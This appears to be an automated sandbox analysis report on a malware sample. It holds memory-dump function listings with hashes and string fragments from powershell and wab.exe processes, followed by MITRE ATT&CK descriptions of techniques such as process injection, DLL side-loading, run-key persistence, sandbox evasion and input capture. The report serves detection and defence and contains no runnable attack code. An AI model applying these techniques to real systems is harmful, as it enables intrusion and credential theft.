Uniqueness Score: -1.00%

Function 00387478 Relevance: 23.0, Strings: 18, Instructions: 460COMMON

Download Yara Rule

Strings

$p, xrefs: 0038780C
tPp, xrefs: 003878A8
), xrefs: 003877F5
h%h, xrefs: 00387798
[h, xrefs: 003878F3
4'p, xrefs: 00387522
$p, xrefs: 0038795F
$p, xrefs: 00387996
h%h, xrefs: 00387593
tPp, xrefs: 0038789C
h%h, xrefs: 003875A1
$p, xrefs: 0038798A
4'p, xrefs: 00387725
4'p, xrefs: 0038752E
h%h, xrefs: 003877A6
[h, xrefs: 003878E5
8R!, xrefs: 003878BC
4'p, xrefs: 0038772F

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: )$4'p$4'p$4'p$4'p$8R!$h%h$h%h$h%h$h%h$tPp$tPp$$p$$p$$p$$p$[h$[h
API String ID: 0-4076553537
Opcode ID: 09e6153fe33627c88ac004c7b8f254c32c735853aafd63c80d35877bfaa865c0
Instruction ID: bf51b9416ff7ea846c91e709afa110a042ce0b0324bec2ed591d9c7b36facfff
Opcode Fuzzy Hash: 09e6153fe33627c88ac004c7b8f254c32c735853aafd63c80d35877bfaa865c0
Instruction Fuzzy Hash: 3FE12631B0C3409FCB26AB69885476ABFA7AFC5310F3984EAD554CB295DB31CC41C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00387A88 Relevance: 15.3, Strings: 12, Instructions: 319COMMON

Download Yara Rule

Strings

$p, xrefs: 00387A9A
tPp, xrefs: 00387B11
$p, xrefs: 00387ACC
$p, xrefs: 00387D6E
`\h, xrefs: 00387DFD
tPp, xrefs: 00387B05
4'p, xrefs: 00387C95
4'p, xrefs: 00387C89
$p, xrefs: 00387AC0
`\h, xrefs: 00387DEF
h%h, xrefs: 00387D08
h%h, xrefs: 00387CFA

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$`\h$`\h$h%h$h%h$tPp$tPp$$p$$p$$p$$p
API String ID: 0-3061663376
Opcode ID: 74f04396c8799ca8ed844a0d30dcc1fafeff9223812217b2851cec6f1570b8dd
Instruction ID: 67ae6c7f8085241d36a156b13f10fabeec257bd9ce5627ed1d24185dfcd42458
Opcode Fuzzy Hash: 74f04396c8799ca8ed844a0d30dcc1fafeff9223812217b2851cec6f1570b8dd
Instruction Fuzzy Hash: ADA103327083409FCB1AAA688850B7ABBF7AFC5310F7984EAD545CB292DA71DC45C761

Uniqueness

Uniqueness Score: -1.00%

Function 003800A0 Relevance: 11.7, Strings: 9, Instructions: 404COMMON

Download Yara Rule

Strings

L4p, xrefs: 00380160
L4p, xrefs: 003803B0
L4p, xrefs: 00380419
L4p, xrefs: 0038040E
`8), xrefs: 0038011B
L4p, xrefs: 003801C9
L4p, xrefs: 003801BE
`8), xrefs: 00380240
`8), xrefs: 00380189

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: L4p$L4p$L4p$L4p$L4p$L4p$`8)$`8)$`8)
API String ID: 0-2216110676
Opcode ID: 0b4bdd6fe6899b0791fcf39f99a7faa7b6637822dcdb303eb43271b85a991c00
Instruction ID: 73186d839587ec67ca9276d8c489fb401d12c3b0c7a9484ddab430e3c7f6d7d3
Opcode Fuzzy Hash: 0b4bdd6fe6899b0791fcf39f99a7faa7b6637822dcdb303eb43271b85a991c00
Instruction Fuzzy Hash: 18D15835700304EFCF5AAE68C854B6E7BF6AF85310F1984B6E9158B291CBB1CD49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00380928 Relevance: 10.1, Strings: 8, Instructions: 146COMMON

Download Yara Rule

Strings

89), xrefs: 003809D3
$p, xrefs: 003809ED
$p, xrefs: 003809B4
4'p, xrefs: 00380A22
$p, xrefs: 003809F9
\9), xrefs: 00380B08
4'p, xrefs: 00380A16
89), xrefs: 0038099A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$89)$89)$\9)$$p$$p$$p
API String ID: 0-4085526858
Opcode ID: 639deb7bdd374a21ec3c61fc0907ecb2aa16c04dc730f325a50e5cb544145905
Instruction ID: 2ed7a52ef0b55499dd77cf6f16a014a0a41c08f5b20d61d284664b5262f9789d
Opcode Fuzzy Hash: 639deb7bdd374a21ec3c61fc0907ecb2aa16c04dc730f325a50e5cb544145905
Instruction Fuzzy Hash: 6C4116357043449FDB5EAB3888106BE7FB29F85310F2940AAC995CB292DB35CD4AC792

Uniqueness

Uniqueness Score: -1.00%

Function 0038E2CB Relevance: 9.0, Strings: 7, Instructions: 202COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038E604
tPp, xrefs: 0038E431
(p, xrefs: 0038E4F2
$p, xrefs: 0038E35D
(p, xrefs: 0038E556
(p, xrefs: 0038E560
tPp, xrefs: 0038E52C

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$tPp$tPp$$p$(p$(p$(p
API String ID: 0-3814600869
Opcode ID: eae57e6fa475bf076e3672f5c2003623ff0f04793886859a713859bcbaf7ad11
Instruction ID: 27a10d814d9141fd84f4e7fd58152812bb7dd668cd6b3ad1186fc50fc41b883e
Opcode Fuzzy Hash: eae57e6fa475bf076e3672f5c2003623ff0f04793886859a713859bcbaf7ad11
Instruction Fuzzy Hash: 67710935A00300DFDB26EF15C54176EB7E6AF85310F2A80D9E8499B391DBB1DD80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0038E28C Relevance: 8.9, Strings: 7, Instructions: 183COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038E604
tPp, xrefs: 0038E431
(p, xrefs: 0038E4F2
$p, xrefs: 0038E35D
(p, xrefs: 0038E556
(p, xrefs: 0038E560
tPp, xrefs: 0038E52C

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$tPp$tPp$$p$(p$(p$(p
API String ID: 0-3814600869
Opcode ID: 20204ae1cbf7ae40cb95a461b2f65278baa2a4f2d128a7f459eb401358db8f32
Instruction ID: a5706304c627fbd72de209e792d4e33122c3b319b988386492c61453b89c099e
Opcode Fuzzy Hash: 20204ae1cbf7ae40cb95a461b2f65278baa2a4f2d128a7f459eb401358db8f32
Instruction Fuzzy Hash: 5161D434B00300DFDB26EE55C541B6EB7E6AF85711F2A80D9E8099B391DBB1DD80DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0038FE61 Relevance: 8.8, Strings: 7, Instructions: 88COMMON

Download Yara Rule

Strings

$p, xrefs: 0038FEC3
tPp, xrefs: 0038FEFC
$p, xrefs: 0038FEA4
tPp, xrefs: 0038FF08
$p, xrefs: 0038FEB7
$p, xrefs: 0038FE7C
$p, xrefs: 0038FE98

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp$$p$$p$$p$$p$$p
API String ID: 0-736929761
Opcode ID: 8ffdf782968ebc7371793156264454851d7160c5be06a0dc613fd1669739ea7c
Instruction ID: 37ae73600b90ee624ad89b25018a72c42a9b288fd878129d466a41b328cfa9f9
Opcode Fuzzy Hash: 8ffdf782968ebc7371793156264454851d7160c5be06a0dc613fd1669739ea7c
Instruction Fuzzy Hash: 7B21E4327003118FDB26AF68D540679BBE5AFD5310B6940FAEA40DB366DB71ED40C761

Uniqueness

Uniqueness Score: -1.00%

Function 0038D1C0 Relevance: 7.7, Strings: 6, Instructions: 209COMMON

Download Yara Rule

Strings

$p, xrefs: 0038D3D6
4'p, xrefs: 0038D2DF
$p, xrefs: 0038D2C1
4'p, xrefs: 0038D2EB
$p, xrefs: 0038D2B1
$p, xrefs: 0038D266

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p$$p$$p
API String ID: 0-3219492093
Opcode ID: a6ccae094832a4b10c87b28562a0570c5cbada39d3894005166a45df4d73ce3a
Instruction ID: ff924b1bb9e20eb6de66f78bd609047123567f1586ef7f51d31475da326e640c
Opcode Fuzzy Hash: a6ccae094832a4b10c87b28562a0570c5cbada39d3894005166a45df4d73ce3a
Instruction Fuzzy Hash: C1612735B04304DFCB2AAE68D40076ABBB6AFC1310F29C8AAD855CB2D5DB75DD41C791

Uniqueness

Uniqueness Score: -1.00%

Function 00382406 Relevance: 6.7, Strings: 5, Instructions: 422COMMON

Download Yara Rule

Strings

8#h, xrefs: 0038257D
h%h, xrefs: 00382546
h%h, xrefs: 00382260
h%h, xrefs: 003820F2
[h, xrefs: 00381FE9

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$[h
API String ID: 0-3945192550
Opcode ID: 5aecea01ac94177a49aa83dfa53f9732b2b24d1983341022456671c641e5a18f
Instruction ID: fd599df4e80bc6611b0cad6a1d280e8401d007f7c168222df4e00de82c3473cd
Opcode Fuzzy Hash: 5aecea01ac94177a49aa83dfa53f9732b2b24d1983341022456671c641e5a18f
Instruction Fuzzy Hash: C7023874B00304DFDB55EB58D540E6ABBB2EF88314F25C0AAE905AB355C772EC82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0038DDE5 Relevance: 6.4, Strings: 5, Instructions: 115COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038DEA1
$p, xrefs: 0038DE3B
4'p, xrefs: 0038DEAD
$p, xrefs: 0038DE75
$p, xrefs: 0038DE81

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p$$p
API String ID: 0-2334450948
Opcode ID: 39475b6047933fcd5ef8e023cd70bca061cdca2b3f14fd49961870a9c7f9c4ec
Instruction ID: 1ec35765ef3ab4da5491d594513d6344ec79d8ad0b8297229b8dcddd3ffc52df
Opcode Fuzzy Hash: 39475b6047933fcd5ef8e023cd70bca061cdca2b3f14fd49961870a9c7f9c4ec
Instruction Fuzzy Hash: BF312232B043018FCB2B6A68944067AFBE5ABE5310B3980FAD5428B6C5CF71DD41D392

Uniqueness

Uniqueness Score: -1.00%

Function 00380908 Relevance: 6.3, Strings: 5, Instructions: 87COMMON

Download Yara Rule

Strings

89), xrefs: 003809D3
$p, xrefs: 003809ED
$p, xrefs: 003809B4
4'p, xrefs: 00380A16
89), xrefs: 0038099A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$89)$89)$$p$$p
API String ID: 0-964115858
Opcode ID: 75f38f976c32b00043686062c6f8925a50b1b82a1ed522af42fe73ea4c5635c5
Instruction ID: 0f4ff11ff7745a9097beaf9edeeb5aa2dd8a3c1a3e658a16f88131c8584d7ba9
Opcode Fuzzy Hash: 75f38f976c32b00043686062c6f8925a50b1b82a1ed522af42fe73ea4c5635c5
Instruction Fuzzy Hash: 3331D530A09345DFDB5EAA30C41077E7BB5AF85310F1A40E6C8509B192D779CD89C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0038D478 Relevance: 5.5, Strings: 4, Instructions: 479COMMON

Download Yara Rule

Strings

(op, xrefs: 0038D8A1
(op, xrefs: 0038D55E
(op, xrefs: 0038D56E
(op, xrefs: 0038D8B1

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: (op$(op$(op$(op
API String ID: 0-4040569024
Opcode ID: 9724c8849f98d5891be29312aa52bd367dcc1c61f87209192fd2293006a6461a
Instruction ID: 3dd28c0f04088bd04a2afc8bef985571d5ef25f43b1ef344730dd767a249e525
Opcode Fuzzy Hash: 9724c8849f98d5891be29312aa52bd367dcc1c61f87209192fd2293006a6461a
Instruction Fuzzy Hash: A3F12431B04304DFDB16AF28D854BAABBB6AF85310F2984AAE415CB2D1DB71DC41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00389134 Relevance: 5.1, Strings: 4, Instructions: 126COMMON

Download Yara Rule

Strings

h%h, xrefs: 003892A8
h%h, xrefs: 003892B6
4'p, xrefs: 00389241
4'p, xrefs: 00389237

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h
API String ID: 0-758857168
Opcode ID: 4ca8e5cc1b55be002d927210a203253339608c2885e48dbd38dc195a1d651ca0
Instruction ID: c3e5af164bef4a26c5faff53fe1fe1ecb8a4491d68b0db72e89bd464533e59ce
Opcode Fuzzy Hash: 4ca8e5cc1b55be002d927210a203253339608c2885e48dbd38dc195a1d651ca0
Instruction Fuzzy Hash: E6419D35704316ABCB276A78441477ABBA65BD8320F2D48FBC4928B781CB31CC82C352

Uniqueness

Uniqueness Score: -1.00%

Function 003896A8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$p, xrefs: 003896BA
$p, xrefs: 00389710
$p, xrefs: 003896D6
$p, xrefs: 00389704

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p
API String ID: 0-3121760203
Opcode ID: 5f9dd85b326fcf2b26a5d8fa1c193afb451205cb2228d69f6a059ecd7c372abb
Instruction ID: 72ee3a82d0639e1dfbd738a28c0faca053e1ce9e90df672fae8afd40e6927b2d
Opcode Fuzzy Hash: 5f9dd85b326fcf2b26a5d8fa1c193afb451205cb2228d69f6a059ecd7c372abb
Instruction Fuzzy Hash: 9121E2357243016BDB26396A9840B3BAADA9BC4710F7C84BBF546CB285DEB5DC41C361

Uniqueness

Uniqueness Score: -1.00%

Function 003819B0 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

$p, xrefs: 00381A2C
x;), xrefs: 00381A19
x;), xrefs: 00381A4D
$p, xrefs: 003819E2

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: x;)$x;)$$p$$p
API String ID: 0-1346616721
Opcode ID: c377aaa28562d9467087f28cad0acedbbb86edf345ad218c4f063602b7ffc418
Instruction ID: 17a681ca312c3736799265608ce696475cc51e08497a0c19fa1e118ad37f18de
Opcode Fuzzy Hash: c377aaa28562d9467087f28cad0acedbbb86edf345ad218c4f063602b7ffc418
Instruction Fuzzy Hash: 112126252093806FDB37163588117667FAD8F86310F2E40EBD895DB2C3D569CD46C321

Uniqueness

Uniqueness Score: -1.00%

Function 0038AD1C Relevance: 5.1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

Strings

$p, xrefs: 0038ADD3
$p, xrefs: 0038AD8F
$p, xrefs: 0038ADAB
$p, xrefs: 0038ADEF

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p
API String ID: 0-3121760203
Opcode ID: 583677861f1b8bdb62774c26413184860e42c622fcb9e48655ebf6d287b1a81f
Instruction ID: 4b3dc6d34857d1dc737ea3606eccde59153ee0fc6c857fcb6ca83f443a700cc0
Opcode Fuzzy Hash: 583677861f1b8bdb62774c26413184860e42c622fcb9e48655ebf6d287b1a81f
Instruction Fuzzy Hash: F5210335A04B41DFEB27AE64C45027ABFB0AF91312F6A44EBD844C7A52D331D949C793

Uniqueness

Uniqueness Score: -1.00%

Function 00380570 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

4'p, xrefs: 003805DC
$p, xrefs: 003805BA
4'p, xrefs: 003805E8
$p, xrefs: 003805C6

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p
API String ID: 0-377911355
Opcode ID: 59580e306c9e78e210dcf58e236d1a8f6d1c72ad8cb18b3023260e98fa1ae121
Instruction ID: 7d3166ad09b48cb0524aea0a58cdfad51043454c0b7cd0e4806a9663d703fc0e
Opcode Fuzzy Hash: 59580e306c9e78e210dcf58e236d1a8f6d1c72ad8cb18b3023260e98fa1ae121
Instruction Fuzzy Hash: BA01F921B0D3805FC76F266C941162A9FA2ABD3750B6D00EBD491DB282CD54CC5BC762

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wab.exePID: 2208, Parent PID: 3788COMMON

Execution Graph

Execution Coverage:	31.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03F2293A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000005), ref: 03F229A0

Strings

0^r, xrefs: 03F2297B

Memory Dump Source

Source File: 00000015.00000002.746084860.0000000003E9B000.00000040.00000400.00020000.00000000.sdmp, Offset: 03E9B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3e9b000_wab.jbxd

Similarity

API ID: Sleep
String ID: 0^r
API String ID: 3472027048-1251071597
Opcode ID: fa6f852e71e780f5051848a4d0155528b00c07f2d17a691155b89a5d111ffd0f
Instruction ID: 3b348af2643701b217fe3a882b414d6bbd6130e8555e7b693e554249b1054654
Opcode Fuzzy Hash: fa6f852e71e780f5051848a4d0155528b00c07f2d17a691155b89a5d111ffd0f
Instruction Fuzzy Hash: C0117AB2904311EFE784CF31CC8CB66B760BF10394F4A819899154F0A6D378C480CF11

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wab.exePID: 2028, Parent PID: 4076COMMON

Execution Graph

Execution Coverage:	31.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03F2293A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000005), ref: 03F229A0

Strings

0^r, xrefs: 03F2297B

Memory Dump Source

Source File: 00000016.00000002.770994158.0000000003E9B000.00000040.00000400.00020000.00000000.sdmp, Offset: 03E9B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_3e9b000_wab.jbxd

Similarity

API ID: Sleep
String ID: 0^r
API String ID: 3472027048-1251071597
Opcode ID: fa6f852e71e780f5051848a4d0155528b00c07f2d17a691155b89a5d111ffd0f
Instruction ID: 3b348af2643701b217fe3a882b414d6bbd6130e8555e7b693e554249b1054654
Opcode Fuzzy Hash: fa6f852e71e780f5051848a4d0155528b00c07f2d17a691155b89a5d111ffd0f
Instruction Fuzzy Hash: C0117AB2904311EFE784CF31CC8CB66B760BF10394F4A819899154F0A6D378C480CF11

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
